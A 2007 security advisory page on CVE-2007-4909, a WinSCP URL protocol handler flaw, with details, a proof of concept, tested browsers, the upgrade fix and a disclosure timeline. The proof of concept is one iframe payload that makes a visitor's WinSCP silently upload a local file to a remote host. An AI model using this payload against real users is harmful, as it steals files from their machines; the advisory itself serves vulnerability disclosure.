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Home arrow SecurityAlert Database

Arrow  Topic :

WinSCP < 4.04 url protocol handler flaw


Arrow  SecurityAlert : 3141
Arrow  CVE : CVE-2007-4909
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Kender Security gmail com
Arrow  Published : 19.09.2007

Arrow  Affected Software : WinSCP 4.03 and older



Arrow  Advisory Content :  

-Affected products: WinSCP 4.03 and older

-Details:
By default WinSCP installs url protocol handlers for the scp:// and sftp://
protocols.
These could be used by malicious web content to automatically upload any
file from the local system to a remote server, or automatically download
files from a remote server to the local system.

Since version 3.8.2 there is a sort of protection against this, but this
does not stop all forms of attack.

-PoC:
On a machine you control set up an scp-only account with the username "scp"
with any password.
Place this on a website:
<iframe src='scp:password (at) yourhost (dot) com [email concealed]:"
/console /command "option confirm off" "put c:boot.ini" close exit "'/>
This will upload a file to the server when the page is visited by a user
with a vulnerable WinSCP installed.

Downloading a file from the server to any location writable by the current
user also works.

-Tested on:
IE6 & IE7 works.
FF older than 2.0.0.5 works.
FF 2.0.0.5 and newer show a confirmation dialog before executing WinSCP.

-Solution
Upgrade to version 4.04 or higher from http://winscp.net/download.php

-Timeline
24-Jul-2007 Vulnerability reported to Martin Prikryl
25-07-2007 Proposed fix to Martin
31-07-2007 Response from Martin
01-09-2007 Martin confirms fix
02-09-2007 New version done
06-09-2007 WinSCP v4.04 released






Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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